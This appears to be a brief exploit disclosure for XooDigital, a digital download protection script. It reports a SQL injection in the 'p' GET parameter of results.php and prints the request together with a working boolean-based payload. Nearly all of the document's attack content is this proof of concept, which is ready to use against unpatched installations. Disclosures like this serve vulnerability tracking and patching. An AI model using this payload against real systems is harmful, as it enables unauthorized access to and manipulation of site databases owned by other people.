Exploit Title: XooDigital - ‘p’ SQL Injection
Date: 26.03.2019
Exploit Author: Ahmet Ümit BAYRAM
Vendor Homepage: https://xooscripts.com/product/digital-download-protection-script.html
Demo Site: http://xooscripts.com/demos/xoodigital/
Version: Lastest
Tested on: Kali Linux
CVE: N/A
—– PoC : SQLi —–
Request: http://localhost/[PATH]/results.php?p=1 Vulnerable Parameter: p (GET) Payload: p=1’) OR NOT 7970=7970#